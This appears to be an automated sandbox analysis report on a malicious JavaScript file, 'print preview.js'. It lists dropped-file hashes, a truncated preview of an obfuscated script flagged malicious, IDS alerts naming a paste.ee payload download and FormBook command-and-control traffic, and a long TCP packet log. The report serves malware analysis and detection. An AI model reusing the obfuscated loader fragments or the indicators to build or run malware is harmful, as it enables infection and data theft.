                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                        Malicious:false
                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tpbiwjq1.usj.psm1

                                                                        Download File
                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        File Type:ASCII text, with no line terminators
                                                                        Category:dropped
                                                                        Size (bytes):60
                                                                        Entropy (8bit):4.038920595031593
                                                                        Encrypted:false
                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                        Malicious:false
                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x3gcfcmw.cqb.ps1

                                                                        Download File
                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        File Type:ASCII text, with no line terminators
                                                                        Category:dropped
                                                                        Size (bytes):60
                                                                        Entropy (8bit):4.038920595031593
                                                                        Encrypted:false
                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                        Malicious:false
                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ywomv1l1.gye.ps1

                                                                        Download File
                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        File Type:ASCII text, with no line terminators
                                                                        Category:dropped
                                                                        Size (bytes):60
                                                                        Entropy (8bit):4.038920595031593
                                                                        Encrypted:false
                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                        Malicious:false
                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                        C:\Windows\Temp\???7????6????2????7.js

                                                                        Download File
                                                                        Process:C:\Windows\System32\wscript.exe
                                                                        File Type:ASCII text, with CRLF line terminators
                                                                        Category:dropped
                                                                        Size (bytes):157344
                                                                        Entropy (8bit):5.502641928686193
                                                                        Encrypted:false
                                                                        SSDEEP:3072:s2Yi9s3zYxiRzKYb1jufr2Yi9s3zYxiRzKww2Yi9s3zYxiRzKYb1jufr2Yi9s3zN:sUYRzBufrUYRzOUYRzBufrUYRz9
                                                                        MD5:4CD666E2C6F3EEFA38FAE266CE70DB12
                                                                        SHA1:E1C68C19AA2332E9C8B375C520ACF7A06D7209AE
                                                                        SHA-256:BFDF2AB6F2674B300326C61073F5BA110454A8D12516DECD3CD67A6825F4289E
                                                                        SHA-512:B399082B22B899D39904764730E11BC084E790990F14A9C11B69569CC427DA1467A18BA283F9F6DA80CB0667ABB39EA0976BA9BD29FB71F4BD0D4EC9E0490B91
                                                                        Malicious:true
                                                                        Preview:BneqAiiioRNHrpz = "xCuZhzRzhitWNUh"..cLBUWPAWxCKHkmG = "CWQWAAZcLCiHxLf"..timhBnkokilWOko = "kifvAWfWuRGWfLA"..kkLzCRkGTKOmCom = "itUcUcJGdTTmiUC"..KGCfqKACNoquzil = "ecqWthoAiJhLarB"..cNogrWcSvhuacWK = "ibGGUWiiUicoliJ"..OPBpztfULzLNKAA = "KkLlGTWckhzpcCf"..cZGGkRchZHpOukW = "dRpNobqpcjcCaBq"..WcTGUKGWeWKzmoZ = "KLRhtAhkgiCHRLU"..OhabWourPLiaUKt = "TGGNTzhmoLldNqc"....KjUGAdUnWLfeWAm = "fKLLjAfegPaCLPo"..QuuKWmCcWqKfUhK = "cffOSlqcRckeqJa"..WrlzcWbTPxqLsGc = "GcLWPONZaxULzSL"..mLukHecrdAKhGWb = "ifzeGUooumzGIWK"..iRiNLmWdAImLndN = "zxKPoCuaGAkKmLJ"..irIKWKUodePhhOk = "vApokzWPciAiLtf"..KhLRGURttcNukfp = "oWLhQPUfvcioUZN"..iIiRAhzfWzLpccp = "LfZznCWUKfPqUpA"..UUofviKiKGjddWS = "hiKHRUzfPKCbpdp"..tLLNiinccWfnIdW = "KLlctiWcPkaJGWK"....hOfZKLPeiicRZLq = "AWOoKPicbWrOZli"..oxOUBjhIBfpOxAn = "NgiRiLimacPkGPg"..WmWiKOtLOOeUPLt = "eGLOKvNWvgcRUGi"..htUxfoRhLAJLiUA = "oLhRZtcWLoWHfuW"..WCLiNGokPJuGmme = "qiaUzeBiBKGWdvG"..LjjhsSImkpatqBm = "qdlmaciBGfUqGKd"..KhUJGLtzrLLLiZc = "mjaLWiakWxIfiKS

                                                                        Static File Info

                                                                        General

                                                                        File type:Unicode text, UTF-16, little-endian text, with very long lines (1536), with CRLF line terminators
                                                                        Entropy (8bit):4.487782476889433
                                                                        TrID:
                                                                        • Text - UTF-16 (LE) encoded (2002/1) 66.67%
                                                                        • MP3 audio (1001/1) 33.33%
                                                                        File name:print preview.js
                                                                        File size:5'044 bytes
                                                                        MD5:6bdeaa07eecfe3ac683a035cc6862835
                                                                        SHA1:a58508f817bb84ae1fd3136bfb19b92d3a851887
                                                                        SHA256:8e036deab10aad80da9d5eb558d660ae76b5321b392ade3973c609c84df85524
                                                                        SHA512:afc3d4700788fef37a6b199c106c7f096a4823778bf9d0537fe6e17c0671b04d62c7f027c6577ad22d34cc35aa41784cf87557e9459877af7420b3844d191d87
                                                                        SSDEEP:96:YYTYTYfYKYdYGYGYlY4YKYxY6YbYGYulYDYMYxYUYlYcYxY6YGYwYGYDYdYUYyYO:988gDqHHidD2T0HNM52xip2THFHMqxbO
                                                                        TLSH:DAA1D5A155FB2D0C7479B6B8B72330E84FDAE9AB5A3EC747624CCD0606E74018521FD9
                                                                        File Content Preview:..............v.a.r. .l.e.a.c.h. .=. .".h..0=./.7..&s0=...6..&.0=...2..&l0=.#.7.t..0=./.7..&s0=...6..&.0=...2..&l0=.#.7.t..0=./.7..&s0=...6..&.0=...2..&l0=.#.7.p..0=./.7..&s0=...6..&.0=...2..&l0=.#.7.s..0=./.7..&s0=...6..&.0=...2..&l0=.#.7.:..0=./.7..&s0=

                                                                        File Icon

                                                                        Icon Hash:68d69b8bb6aa9a86

                                                                        Network Behavior

                                                                        Suricata IDS Alerts

                                                                        TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                        2024-12-11T12:15:41.005160+01002841075ETPRO MALWARE Terse Request to paste .ee - Possible Download1192.168.2.849709172.67.187.200443TCP
                                                                        2024-12-11T12:15:41.975772+01002858295ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain)1172.67.187.200443192.168.2.849709TCP
                                                                        2024-12-11T12:16:23.738962+01002050745ET MALWARE FormBook CnC Checkin (GET) M51192.168.2.849711192.186.57.3080TCP

                                                                        Network Port Distribution

                                                                        TCP Packets

                                                                        TimestampSource PortDest PortSource IPDest IP
                                                                        Dec 11, 2024 12:15:04.135178089 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:04.139899015 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:04.139913082 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:04.140007973 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:04.142947912 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:04.143102884 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:04.264687061 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:04.331991911 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:04.332007885 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:04.332019091 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:04.332122087 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:04.335489035 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:04.335587978 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:04.336090088 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:04.455427885 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:04.464673042 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:04.464684963 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:04.464755058 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:04.468348026 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:04.468504906 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:04.588681936 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:04.652714014 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:04.652730942 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:04.652797937 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:04.655556917 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:04.655635118 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:04.656675100 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:04.658473015 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:04.775623083 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:04.786734104 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:04.786747932 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:04.786825895 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:04.975738049 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:04.975755930 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:04.975856066 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:04.978305101 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:05.026938915 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:05.115866899 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:05.174372911 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:05.177347898 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:05.179567099 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:05.238785982 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:05.276843071 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:05.293662071 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:05.296525002 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:05.298950911 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:05.358071089 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:05.432063103 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:05.464468002 CET49673443192.168.2.823.206.229.226
                                                                        Dec 11, 2024 12:15:05.477432966 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:05.488996029 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:05.491102934 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:05.491178989 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:05.501132011 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:05.502525091 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:05.550318003 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:05.569259882 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:05.596771002 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:05.620475054 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:05.621712923 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:05.624135017 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:05.624268055 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:05.656207085 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:05.729033947 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:05.775551081 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:05.808289051 CET49672443192.168.2.823.206.229.226
                                                                        Dec 11, 2024 12:15:05.813711882 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:05.816528082 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:05.816623926 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:05.830395937 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:05.831063032 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:05.880969048 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:05.933072090 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:05.950251102 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:05.950721979 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:05.968105078 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:05.968235970 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:06.005191088 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:06.005332947 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:06.008893967 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:06.021073103 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:06.087647915 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:06.140619993 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:06.147589922 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:06.147636890 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:06.147711039 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:06.150492907 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:06.150608063 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:06.269958019 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:06.320663929 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:06.323246002 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:06.332953930 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:06.333090067 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:06.335787058 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:06.339719057 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:06.344641924 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:06.455476999 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:06.466134071 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:06.466187000 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:06.466238976 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:06.469238043 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:06.470030069 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:06.542613983 CET49676443192.168.2.852.182.143.211
                                                                        Dec 11, 2024 12:15:06.589526892 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:06.647490978 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:06.651469946 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:06.656423092 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:06.656533003 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:06.658724070 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:06.778179884 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:06.781002998 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:06.783938885 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:06.787235022 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:06.787286997 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:06.787369013 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:06.787416935 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:06.789807081 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:06.789880037 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:06.909233093 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:06.952884912 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:06.970567942 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:06.973716974 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:06.979370117 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:06.981946945 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:07.093162060 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:07.101325989 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:07.101489067 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:07.101538897 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:07.101608038 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:07.104496002 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:07.109107971 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:07.109190941 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:07.109213114 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:07.109261036 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:07.111747026 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:07.111901999 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:07.231528997 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:07.293705940 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:07.297046900 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:07.301446915 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:07.304181099 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:07.423533916 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:07.423758984 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:07.426841974 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:07.426873922 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:07.426932096 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:07.426954031 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:07.426999092 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:07.429205894 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:07.429359913 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:07.548424006 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:07.588860989 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:07.615879059 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:07.618796110 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:07.619283915 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:07.621467113 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:07.738106012 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:07.741061926 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:07.744178057 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:07.744302034 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:07.744419098 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:07.747801065 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:07.747906923 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:07.808247089 CET49671443192.168.2.8204.79.197.203
                                                                        Dec 11, 2024 12:15:07.811326027 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:07.814141989 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:07.867667913 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:07.933723927 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:07.933851004 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:07.936820984 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:07.936932087 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:07.939619064 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:07.939619064 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:08.059292078 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:08.068008900 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:08.068026066 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:08.068154097 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:08.071321964 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:08.071419001 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:08.152019024 CET4967780192.168.2.8192.229.211.108
                                                                        Dec 11, 2024 12:15:08.173269033 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:08.176285982 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:08.192770958 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:08.256692886 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:08.256711960 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:08.256773949 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:08.259852886 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:08.260018110 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:08.340684891 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:08.379383087 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:08.380434990 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:08.388134003 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:08.388149977 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:08.388222933 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:08.391453981 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:08.392265081 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:08.512250900 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:08.572709084 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:08.576464891 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:08.577848911 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:08.577862024 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:08.577917099 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:08.580481052 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:08.580708027 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:08.700391054 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:08.708872080 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:08.708884954 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:08.708956003 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:08.711982965 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:08.712105989 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:08.832688093 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:08.892750978 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:08.896600962 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:08.900684118 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:08.900697947 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:08.900768042 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:08.905206919 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:08.905622959 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:09.028708935 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:09.028724909 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:09.028738022 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:09.028816938 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:09.032062054 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:09.032191992 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:09.073702097 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:09.152987957 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:09.153126001 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:09.218338966 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:09.221746922 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:09.224282026 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:09.224297047 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:09.224368095 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:09.226943970 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:09.227056026 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:09.344706059 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:09.346226931 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:09.348686934 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:09.350260973 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:09.350275040 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:09.350326061 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:09.354888916 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:09.355180979 CET49705443192.168.2.813.107.246.63
                                                                        Dec 11, 2024 12:15:09.474581003 CET4434970513.107.246.63192.168.2.8
                                                                        Dec 11, 2024 12:15:09.538604975 CET4434970513.107.246.63192.168.2.8
